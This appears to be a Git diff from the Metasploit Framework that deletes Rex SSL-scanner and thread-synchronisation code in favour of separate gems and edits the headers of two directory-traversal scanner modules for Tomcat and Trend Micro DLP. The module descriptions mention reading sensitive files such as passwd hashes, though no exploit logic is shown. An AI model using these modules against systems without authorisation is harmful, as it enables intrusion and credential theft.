# OpenSSL Directive For Strong Ciphers
|
||||
# See: http://www.rapid7.com/vulndb/lookup/ssl-weak-ciphers
|
||||
strong_cipher_ctx.ciphers = "ALL:!aNULL:!eNULL:!LOW:!EXP:RC4+RSA:+HIGH:+MEDIUM"
|
||||
|
||||
if strong_cipher_ctx.ciphers.flatten.include? cipher
|
||||
weak = false
|
||||
else
|
||||
weak = true
|
||||
end
|
||||
|
||||
cipher_details = {:version => version, :cipher => cipher, :key_length => key_length, :weak => weak, :status => status}
|
||||
@ciphers << cipher_details
|
||||
end
|
||||
|
||||
def to_s
|
||||
unless supports_ssl?
|
||||
return "Server does not appear to support SSL on this port!"
|
||||
end
|
||||
table = Rex::Text::Table.new(
|
||||
'Header' => 'SSL Ciphers',
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Status', 'Weak', 'SSL Version', 'Key Length', 'Cipher'],
|
||||
'SortIndex' => -1
|
||||
)
|
||||
ciphers.each do |cipher|
|
||||
if cipher[:weak]
|
||||
weak = '*'
|
||||
else
|
||||
weak = ' '
|
||||
end
|
||||
table << [cipher[:status].to_s.capitalize, weak , cipher[:version], cipher[:key_length], cipher[:cipher]]
|
||||
end
|
||||
|
||||
# Sort by SSL Version, then Key Length, and then Status
|
||||
table.rows.sort_by!{|row| [row[0],row[2],row[3]]}
|
||||
text = "#{table.to_s}"
|
||||
if @cert
|
||||
text << " \n\n #{@cert.to_text}"
|
||||
end
|
||||
if openssl_sslv2 == false
|
||||
text << "\n\n *** WARNING: Your OS hates freedom! Your OpenSSL libs are compiled without SSLv2 support!"
|
||||
end
|
||||
text
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# @param state [Symbol] Either :accepted or :rejected
|
||||
# @param version [Symbol, Array] The SSL Version to filter on (:SSLv2, :SSLv3, :TLSv1, :all)
|
||||
# @return [Set] The Set of cipher results matching the filter criteria
|
||||
def enum_ciphers(state, version = :all)
|
||||
case version
|
||||
when Symbol
|
||||
case version
|
||||
when :all
|
||||
return @ciphers.select{|cipher| cipher[:status] == state}
|
||||
when :SSLv2, :SSLv3, :TLSv1
|
||||
return @ciphers.select{|cipher| cipher[:status] == state and cipher[:version] == version}
|
||||
else
|
||||
raise ArgumentError, "Invalid SSL Version Supplied: #{version}"
|
||||
end
|
||||
when Array
|
||||
version = version.reject{|v| !(@supported_versions.include? v)}
|
||||
if version.empty?
|
||||
return @ciphers.select{|cipher| cipher[:status] == state}
|
||||
else
|
||||
return @ciphers.select{|cipher| cipher[:status] == state and version.include? cipher[:version]}
|
||||
end
|
||||
else
|
||||
raise ArgumentError, "Was expecting Symbol or Array and got #{version.class}"
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,206 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/socket'
|
||||
require 'rex/sslscan/result'
|
||||
|
||||
module Rex::SSLScan
|
||||
|
||||
class Scanner
|
||||
|
||||
attr_accessor :context
|
||||
attr_accessor :host
|
||||
attr_accessor :port
|
||||
attr_accessor :timeout
|
||||
|
||||
attr_reader :supported_versions
|
||||
attr_reader :sslv2
|
||||
|
||||
# Initializes the scanner object
|
||||
# @param host [String] IP address or hostname to scan
|
||||
# @param port [Fixnum] Port number to scan, default: 443
|
||||
# @param timeout [Fixnum] Timeout for connections, in seconds. default: 5
|
||||
# @raise [StandardError] Raised when the configuration is invalid
|
||||
def initialize(host,port = 443,context = {},timeout=5)
|
||||
@host = host
|
||||
@port = port
|
||||
@timeout = timeout
|
||||
@context = context
|
||||
if check_opensslv2 == true
|
||||
@supported_versions = [:SSLv2, :SSLv3, :TLSv1]
|
||||
@sslv2 = true
|
||||
else
|
||||
@supported_versions = [:SSLv3, :TLSv1]
|
||||
@sslv2 = false
|
||||
end
|
||||
raise StandardError, "The scanner configuration is invalid" unless valid?
|
||||
end
|
||||
|
||||
# Checks whether the scanner option has a valid configuration
|
||||
# @return [Boolean] True or False, the configuration is valid.
|
||||
def valid?
|
||||
begin
|
||||
@host = Rex::Socket.getaddress(@host, true)
|
||||
rescue
|
||||
return false
|
||||
end
|
||||
return false unless @port.kind_of? Fixnum
|
||||
return false unless @port >= 0 and @port <= 65535
|
||||
return false unless @timeout.kind_of? Fixnum
|
||||
return true
|
||||
end
|
||||
|
||||
# Initiate the Scan against the target. Will test each cipher one at a time.
|
||||
# @return [Result] object containing the details of the scan
|
||||
def scan
|
||||
scan_result = Rex::SSLScan::Result.new
|
||||
scan_result.openssl_sslv2 = sslv2
|
||||
# If we can't get any SSL connection, then don't bother testing
|
||||
# individual ciphers.
|
||||
if test_ssl == :rejected and test_tls == :rejected
|
||||
return scan_result
|
||||
end
|
||||
|
||||
@supported_versions.each do |ssl_version|
|
||||
sslctx = OpenSSL::SSL::SSLContext.new(ssl_version)
|
||||
sslctx.ciphers.each do |cipher_name, ssl_ver, key_length, alg_length|
|
||||
status = test_cipher(ssl_version, cipher_name)
|
||||
scan_result.add_cipher(ssl_version, cipher_name, key_length, status)
|
||||
if status == :accepted and scan_result.cert.nil?
|
||||
scan_result.cert = get_cert(ssl_version, cipher_name)
|
||||
end
|
||||
end
|
||||
end
|
||||
scan_result
|
||||
end
|
||||
|
||||
def test_ssl
|
||||
begin
|
||||
scan_client = Rex::Socket::Tcp.create(
|
||||
'Context' => @context,
|
||||
'PeerHost' => @host,
|
||||
'PeerPort' => @port,
|
||||
'SSL' => true,
|
||||
'SSLVersion' => :SSLv23,
|
||||
'Timeout' => @timeout
|
||||
)
|
||||
rescue ::Exception => e
|
||||
return :rejected
|
||||
ensure
|
||||
if scan_client
|
||||
scan_client.close
|
||||
end
|
||||
end
|
||||
return :accepted
|
||||
end
|
||||
|
||||
def test_tls
|
||||
begin
|
||||
scan_client = Rex::Socket::Tcp.create(
|
||||
'Context' => @context,
|
||||
'PeerHost' => @host,
|
||||
'PeerPort' => @port,
|
||||
'SSL' => true,
|
||||
'SSLVersion' => :TLSv1,
|
||||
'Timeout' => @timeout
|
||||
)
|
||||
rescue ::Exception => e
|
||||
return :rejected
|
||||
ensure
|
||||
if scan_client
|
||||
scan_client.close
|
||||
end
|
||||
end
|
||||
return :accepted
|
||||
end
|
||||
|
||||
# Tests the specified SSL Version and Cipher against the configured target
|
||||
# @param ssl_version [Symbol] The SSL version to use (:SSLv2, :SSLv3, :TLSv1)
|
||||
# @param cipher [String] The SSL Cipher to use
|
||||
# @return [Symbol] Either :accepted or :rejected
|
||||
def test_cipher(ssl_version, cipher)
|
||||
validate_params(ssl_version,cipher)
|
||||
begin
|
||||
scan_client = Rex::Socket::Tcp.create(
|
||||
'Context' => @context,
|
||||
'PeerHost' => @host,
|
||||
'PeerPort' => @port,
|
||||
'SSL' => true,
|
||||
'SSLVersion' => ssl_version,
|
||||
'SSLCipher' => cipher,
|
||||
'Timeout' => @timeout
|
||||
)
|
||||
rescue ::Exception => e
|
||||
return :rejected
|
||||
ensure
|
||||
if scan_client
|
||||
scan_client.close
|
||||
end
|
||||
end
|
||||
|
||||
return :accepted
|
||||
end
|
||||
|
||||
# Retrieve the X509 Cert from the target service,
|
||||
# @param ssl_version [Symbol] The SSL version to use (:SSLv2, :SSLv3, :TLSv1)
|
||||
# @param cipher [String] The SSL Cipher to use
|
||||
# @return [OpenSSL::X509::Certificate] if the certificate was retrieved
|
||||
# @return [Nil] if the cert couldn't be retrieved
|
||||
def get_cert(ssl_version, cipher)
|
||||
validate_params(ssl_version,cipher)
|
||||
begin
|
||||
scan_client = Rex::Socket::Tcp.create(
|
||||
'PeerHost' => @host,
|
||||
'PeerPort' => @port,
|
||||
'SSL' => true,
|
||||
'SSLVersion' => ssl_version,
|
||||
'SSLCipher' => cipher,
|
||||
'Timeout' => @timeout
|
||||
)
|
||||
cert = scan_client.peer_cert
|
||||
if cert.kind_of? OpenSSL::X509::Certificate
|
||||
return cert
|
||||
else
|
||||
return nil
|
||||
end
|
||||
rescue ::Exception => e
|
||||
return nil
|
||||
ensure
|
||||
if scan_client
|
||||
scan_client.close
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
protected
|
||||
|
||||
# Validates that the SSL Version and Cipher are valid both seperately and
|
||||
# together as part of an SSL Context.
|
||||
# @param ssl_version [Symbol] The SSL version to use (:SSLv2, :SSLv3, :TLSv1)
|
||||
# @param cipher [String] The SSL Cipher to use
|
||||
# @raise [StandardError] If an invalid or unsupported SSL Version was supplied
|
||||
# @raise [StandardError] If the cipher is not valid for that version of SSL
|
||||
def validate_params(ssl_version, cipher)
|
||||
raise StandardError, "The scanner configuration is invalid" unless valid?
|
||||
unless @supported_versions.include? ssl_version
|
||||
raise StandardError, "SSL Version must be one of: #{@supported_versions.to_s}"
|
||||
end
|
||||
if ssl_version == :SSLv2 and sslv2 == false
|
||||
raise StandardError, "Your OS hates freedom! Your OpenSSL libs are compiled without SSLv2 support!"
|
||||
else
|
||||
unless OpenSSL::SSL::SSLContext.new(ssl_version).ciphers.flatten.include? cipher
|
||||
raise StandardError, "Must be a valid SSL Cipher for #{ssl_version}!"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def check_opensslv2
|
||||
begin
|
||||
OpenSSL::SSL::SSLContext.new(:SSLv2)
|
||||
rescue
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,6 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/sync/thread_safe'
|
||||
require 'rex/sync/ref'
|
||||
require 'rex/sync/read_write_lock'
|
||||
require 'rex/sync/event'
|
|
@ -1,85 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'thread'
|
||||
|
||||
module Rex
|
||||
module Sync
|
||||
|
||||
###
|
||||
#
|
||||
# This class wraps the logical ConditionVariable class to make it an easier to
|
||||
# work with interface that is similar to Windows' synchronization events.
|
||||
#
|
||||
###
|
||||
class Event
|
||||
|
||||
Infinite = 10000
|
||||
|
||||
#
|
||||
# Initializes a waitable event. The state parameter initializes the
|
||||
# default state of the event. If auto_reset is true, any calls to set()
|
||||
# will automatically reset the event back to an unset state.
|
||||
#
|
||||
def initialize(state = false, auto_reset = true, param = nil)
|
||||
self.state = state
|
||||
self.auto_reset = auto_reset
|
||||
self.param = param
|
||||
self.mutex = Mutex.new
|
||||
self.cond = ConditionVariable.new
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the event and wakes up anyone who was waiting.
|
||||
#
|
||||
def set(param = nil)
|
||||
self.param = param
|
||||
|
||||
self.mutex.synchronize {
|
||||
# If this event does not automatically reset its state,
|
||||
# set the state to true
|
||||
if (auto_reset == false)
|
||||
self.state = true
|
||||
end
|
||||
|
||||
self.cond.broadcast
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Resets the signaled state to false.
|
||||
#
|
||||
def reset
|
||||
self.param = nil
|
||||
self.state = false
|
||||
end
|
||||
|
||||
#
|
||||
# Alias notify with set.
|
||||
#
|
||||
alias notify set
|
||||
|
||||
#
|
||||
# Waits for the event to become signaled. Timeout is measured in
|
||||
# seconds. Raises TimeoutError if the condition does not become signaled.
|
||||
#
|
||||
def wait(t = Infinite)
|
||||
self.mutex.synchronize {
|
||||
break if (self.state == true)
|
||||
|
||||
Timeout.timeout(t) {
|
||||
self.cond.wait(self.mutex)
|
||||
}
|
||||
}
|
||||
|
||||
return self.param
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :state, :auto_reset # :nodoc:
|
||||
attr_accessor :param, :mutex, :cond # :nodoc:
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
@ -1,177 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'thread'
|
||||
|
||||
module Rex
|
||||
|
||||
###
|
||||
#
|
||||
# This class implements a read/write lock synchronization
|
||||
# primitive. It is meant to allow for more efficient access to
|
||||
# resources that are more often read from than written to and many
|
||||
# times can have concurrent reader threads. By allowing the reader
|
||||
# threads to lock the resource concurrently rather than serially,
|
||||
# a large performance boost can be seen. Acquiring a write lock
|
||||
# results in exclusive access to the resource and thereby prevents
|
||||
# any read operations during the time that a write lock is acquired.
|
||||
# Only one write lock may be acquired at a time.
|
||||
#
|
||||
###
|
||||
class ReadWriteLock
|
||||
|
||||
#
|
||||
# Initializes a reader/writer lock instance.
|
||||
#
|
||||
def initialize
|
||||
@read_sync_mutex = Mutex.new
|
||||
@write_sync_mutex = Mutex.new
|
||||
@exclusive_mutex = Mutex.new
|
||||
@readers = 0
|
||||
@writer = false
|
||||
end
|
||||
|
||||
#
|
||||
# Acquires the read lock for the calling thread.
|
||||
#
|
||||
def lock_read
|
||||
read_sync_mutex.lock
|
||||
|
||||
begin
|
||||
# If there are a non-zero number of readers and a
|
||||
# writer is waiting to acquire the exclusive lock,
|
||||
# free up the sync mutex temporarily and lock/unlock
|
||||
# the exclusive lock. This is to give the writer
|
||||
# thread a chance to acquire the lock and prevents
|
||||
# it from being constantly starved.
|
||||
if ((@readers > 0) and
|
||||
(@writer))
|
||||
read_sync_mutex.unlock
|
||||
exclusive_mutex.lock
|
||||
exclusive_mutex.unlock
|
||||
read_sync_mutex.lock
|
||||
end
|
||||
|
||||
# Increment the active reader count
|
||||
@readers += 1
|
||||
|
||||
# If we now have just one reader, acquire the exclusive
|
||||
# lock. Track the thread owner so that we release the
|
||||
# lock from within the same thread context later on.
|
||||
if (@readers == 1)
|
||||
exclusive_mutex.lock
|
||||
|
||||
@owner = Thread.current
|
||||
end
|
||||
ensure
|
||||
read_sync_mutex.unlock
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Releases the read lock for the calling thread.
|
||||
#
|
||||
def unlock_read
|
||||
read_sync_mutex.lock
|
||||
|
||||
begin
|
||||
unlocked = false
|
||||
|
||||
# Keep looping until we've lost this thread's reader
|
||||
# lock
|
||||
while (!unlocked)
|
||||
# If there are no more readers left after this one
|
||||
if (@readers - 1 == 0)
|
||||
# If the calling thread is the owner of the exclusive
|
||||
# reader lock, then let's release it
|
||||
if (Thread.current == @owner)
|
||||
@owner = nil
|
||||
|
||||
exclusive_mutex.unlock
|
||||
end
|
||||
# If there is more than one reader left and this thread is
|
||||
# the owner of the exclusive lock, then keep looping so that
|
||||
# we can eventually unlock the exclusive mutex in this thread's
|
||||
# context
|
||||
elsif (Thread.current == @owner)
|
||||
read_sync_mutex.unlock
|
||||
|
||||
next
|
||||
end
|
||||
|
||||
# Unlocked!
|
||||
unlocked = true
|
||||
|
||||
# Decrement the active reader count
|
||||
@readers -= 1
|
||||
end
|
||||
ensure
|
||||
read_sync_mutex.unlock
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Acquire the exclusive write lock.
|
||||
#
|
||||
def lock_write
|
||||
write_sync_mutex.lock
|
||||
|
||||
begin
|
||||
@writer = true
|
||||
|
||||
exclusive_mutex.lock
|
||||
|
||||
@owner = Thread.current
|
||||
ensure
|
||||
write_sync_mutex.unlock
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Release the exclusive write lock.
|
||||
#
|
||||
def unlock_write
|
||||
# If the caller is not the owner of the write lock, then someone is
|
||||
# doing something broken, let's let them know.
|
||||
if (Thread.current != @owner)
|
||||
raise RuntimeError, "Non-owner calling thread attempted to release write lock", caller
|
||||
end
|
||||
|
||||
# Otherwise, release the exclusive write lock
|
||||
@writer = false
|
||||
|
||||
exclusive_mutex.unlock
|
||||
end
|
||||
|
||||
#
|
||||
# Synchronize a block for read access.
|
||||
#
|
||||
def synchronize_read
|
||||
lock_read
|
||||
begin
|
||||
yield
|
||||
ensure
|
||||
unlock_read
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Synchronize a block for write access.
|
||||
#
|
||||
def synchronize_write
|
||||
lock_write
|
||||
begin
|
||||
yield
|
||||
ensure
|
||||
unlock_write
|
||||
end
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :read_sync_mutex # :nodoc:
|
||||
attr_accessor :write_sync_mutex # :nodoc:
|
||||
attr_accessor :exclusive_mutex # :nodoc:
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -1,58 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'thread'
|
||||
|
||||
module Rex
|
||||
|
||||
###
|
||||
#
|
||||
# This module provides a uniform reference counted interface for classes to
|
||||
# use.
|
||||
#
|
||||
###
|
||||
module Ref
|
||||
|
||||
#
|
||||
# Initializes the reference count to one.
|
||||
#
|
||||
def refinit
|
||||
@_references = 1
|
||||
@_references_mutex = Mutex.new
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
#
|
||||
# Increments the total number of references.
|
||||
#
|
||||
def ref
|
||||
@_references_mutex.synchronize {
|
||||
@_references += 1
|
||||
}
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
#
|
||||
# Decrements the total number of references. If the reference count
|
||||
# reaches zero, true is returned. Otherwise, false is returned.
|
||||
#
|
||||
def deref
|
||||
@_references_mutex.synchronize {
|
||||
if ((@_references -= 1) == 0)
|
||||
cleanup
|
||||
|
||||
true
|
||||
else
|
||||
false
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Called to clean up resources once the ref count drops to zero.
|
||||
#
|
||||
def cleanup
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,83 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'timeout'
|
||||
|
||||
module Rex
|
||||
|
||||
###
|
||||
#
|
||||
# This module provides a set of methods for performing various blocking
|
||||
# operations in a manner that is compatible with ruby style threads.
|
||||
#
|
||||
###
|
||||
module ThreadSafe
|
||||
|
||||
DefaultCycle = 0.2
|
||||
|
||||
#
|
||||
# Wraps calls to select with a lower timeout period and does the
|
||||
# calculations to walk down to zero timeout. This has a little room for
|
||||
# improvement in that it should probably check how much time actually
|
||||
# elapsed during the select call considering ruby threading wont be exactly
|
||||
# accurate perhaps.
|
||||
#
|
||||
def self.select(rfd = nil, wfd = nil, efd = nil, t = nil)
|
||||
left = t
|
||||
|
||||
# Immediately raise a StreamClosedError if the socket was closed. This
|
||||
# prevents a bad fd from being passed downstream and solves an issue
|
||||
# with Ruby on Windows.
|
||||
rfd.each { |fd| raise StreamClosedError.new(fd) if (fd.closed?) } if rfd
|
||||
|
||||
begin
|
||||
orig_size = rfd.length if (rfd)
|
||||
|
||||
# Poll the set supplied to us at least once.
|
||||
begin
|
||||
rv = ::IO.select(rfd, wfd, efd, DefaultCycle)
|
||||
rescue ::IOError, ::Errno::EBADF, ::Errno::ENOTSOCK
|
||||
# If a stream was detected as being closed, re-raise the error as
|
||||
# a StreamClosedError with the specific file descriptor that was
|
||||
# detected as being closed. This is to better handle the case of
|
||||
# a closed socket being detected so that it can be cleaned up and
|
||||
# removed.
|
||||
rfd.each { |fd| raise StreamClosedError.new(fd) if (fd.closed?) } if rfd
|
||||
|
||||
# If the original rfd length is not the same as the current
|
||||
# length, then the list may have been altered and as such may not
|
||||
# contain the socket that caused the IOError. This is a bad way
|
||||
# to do this since it's possible that the array length could be
|
||||
# back to the size that it was originally and yet have had the
|
||||
# socket that caused the IOError to be removed.
|
||||
return nil if (rfd and rfd.length != orig_size)
|
||||
|
||||
# Re-raise the exception since we didn't handle it here.
|
||||
raise $!
|
||||
# rescue ::Exception => e
|
||||
# $stderr.puts "SELECT(#{t}) #{[rfd,wfd,efd].inspect} #{e.class} #{e} #{e.backtrace}"
|
||||
end
|
||||
|
||||
return rv if (rv)
|
||||
|
||||
# Decrement the amount of time left by the polling cycle
|
||||
left -= DefaultCycle if (left)
|
||||
|
||||
# Keep chugging until we run out of time, if time was supplied.
|
||||
end while ((left == nil) or (left > 0))
|
||||
|
||||
# Nothin.
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
# Simulates a sleep operation by selecting on nil until a timeout period
|
||||
# expires.
|
||||
#
|
||||
def self.sleep(seconds=nil)
|
||||
self.select(nil, nil, nil, seconds)
|
||||
|
||||
seconds
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -13,6 +13,7 @@ require 'rex/ui/text/input'
|
|||
require 'rex/ui/text/shell'
|
||||
require 'rex/ui/text/dispatcher_shell'
|
||||
require 'rex/ui/text/irb_shell'
|
||||
require 'rex/ui/text/bidirectional_pipe'
|
||||
|
||||
require 'rex/text/color'
|
||||
require 'rex/text/table'
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module IO
|
||||
module Ui
|
||||
module Text
|
||||
|
||||
require 'rex/ui/text/output'
|
||||
require 'rex/ui/text/output/buffer'
|
||||
|
@ -155,3 +156,4 @@ end
|
|||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -30,13 +30,8 @@ Gem::Specification.new do |spec|
|
|||
spec.bindir = '.'
|
||||
if ENV['CREATE_BINSTUBS']
|
||||
spec.executables = [
|
||||
'msfbinscan',
|
||||
'msfconsole',
|
||||
'msfd',
|
||||
'msfelfscan',
|
||||
'msfmachscan',
|
||||
'msfpescan',
|
||||
'msfrop',
|
||||
'msfrpc',
|
||||
'msfrpcd',
|
||||
'msfupdate',
|
||||
|
@ -77,6 +72,8 @@ Gem::Specification.new do |spec|
|
|||
spec.add_runtime_dependency 'msgpack'
|
||||
# get list of network interfaces, like eth* from OS.
|
||||
spec.add_runtime_dependency 'network_interface'
|
||||
# NTLM authentication
|
||||
spec.add_runtime_dependency 'rubyntlm'
|
||||
# Needed by anemone crawler
|
||||
spec.add_runtime_dependency 'nokogiri'
|
||||
# Needed by db.rb and Msf::Exploit::Capture
|
||||
|
@ -113,6 +110,8 @@ Gem::Specification.new do |spec|
|
|||
#
|
||||
# REX Libraries
|
||||
#
|
||||
# Core of the Ruby Exploitation Library
|
||||
spec.add_runtime_dependency 'rex-core'
|
||||
# Text manipulation library for things like generating random string
|
||||
spec.add_runtime_dependency 'rex-text'
|
||||
# Library for Generating Randomized strings valid as Identifiers such as variable names
|
||||
|
@ -134,6 +133,16 @@ Gem::Specification.new do |spec|
|
|||
spec.add_runtime_dependency 'rex-ole'
|
||||
# Library for creating and/or parsing MIME messages.
|
||||
spec.add_runtime_dependency 'rex-mime'
|
||||
# Library for Dynamic Multi-byte x86 NOP generation
|
||||
spec.add_runtime_dependency 'rex-nop'
|
||||
# Library for parsing and manipulating executable binaries
|
||||
spec.add_runtime_dependency 'rex-bin_tools'
|
||||
# Rex Socket Abstraction Layer
|
||||
spec.add_runtime_dependency 'rex-socket'
|
||||
# Library for scanning a server's SSL/TLS capabilities
|
||||
spec.add_runtime_dependency 'rex-sslscan'
|
||||
# Library and tool for finding ROP gadgets in a supplied binary
|
||||
spec.add_runtime_dependency 'rex-rop_builder'
|
||||
|
||||
# rb-readline doesn't work with Ruby Installer due to error with Fiddle:
|
||||
# NoMethodError undefined method `dlopen' for Fiddle:Module
|
||||
|
|
|
@ -13,8 +13,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Tomcat UTF-8 Directory Traversal Vulnerability',
|
||||
'Description' => %q{
|
||||
'Name' => 'Tomcat UTF-8 Directory Traversal Vulnerability',
|
||||
'Description' => %q{
|
||||
This module tests whether a directory traversal vulnerablity is present
|
||||
in versions of Apache Tomcat 4.1.0 - 4.1.37, 5.5.0 - 5.5.26 and 6.0.0
|
||||
- 6.0.16 under specific and non-default installations. The connector must have
|
||||
|
@ -25,15 +25,16 @@ class MetasploitModule < Msf::Auxiliary
|
|||
RedHat 9 running Tomcat 6.0.16 and Sun JRE 1.5.0-05. You may wish to change
|
||||
FILE (hosts,sensitive files), MAXDIRS and RPORT depending on your environment.
|
||||
},
|
||||
'References' =>
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://tomcat.apache.org/' ],
|
||||
[ 'OSVDB', '47464' ],
|
||||
[ 'CVE', '2008-2938' ],
|
||||
[ 'URL', 'http://www.securityfocus.com/archive/1/499926' ],
|
||||
],
|
||||
'Author' => [ 'patrick','guerrino <ruggine> di massa' ],
|
||||
'License' => MSF_LICENSE
|
||||
'Author' => [ 'patrick','guerrino <ruggine> di massa' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => 'Jan 9 2009'
|
||||
)
|
||||
|
||||
register_options(
|
||||
|
|
|
@ -12,8 +12,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'TrendMicro Data Loss Prevention 5.5 Directory Traversal',
|
||||
'Description' => %q{
|
||||
'Name' => 'TrendMicro Data Loss Prevention 5.5 Directory Traversal',
|
||||
'Description' => %q{
|
||||
This module tests whether a directory traversal vulnerablity is present
|
||||
in Trend Micro DLP (Data Loss Prevention) Appliance v5.5 build <= 1294.
|
||||
The vulnerability appears to be actually caused by the Tomcat UTF-8
|
||||
|
@ -22,7 +22,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
Note that in the Trend Micro appliance, /etc/shadow is not used and therefore
|
||||
password hashes are stored and anonymously accessible in the passwd file.
|
||||
},
|
||||
'References' =>
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://tomcat.apache.org/' ],
|
||||
[ 'OSVDB', '47464' ],
|
||||
|
@ -32,8 +32,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
[ 'EDB', '17388' ],
|
||||
[ 'BID', '48225' ],
|
||||
],
|
||||
'Author' => [ 'patrick' ],
|
||||
'License' => MSF_LICENSE
|
||||
'Author' => [ 'patrick' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => 'Jan 9 2009'
|
||||
)
|
||||
|
||||
register_options(
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue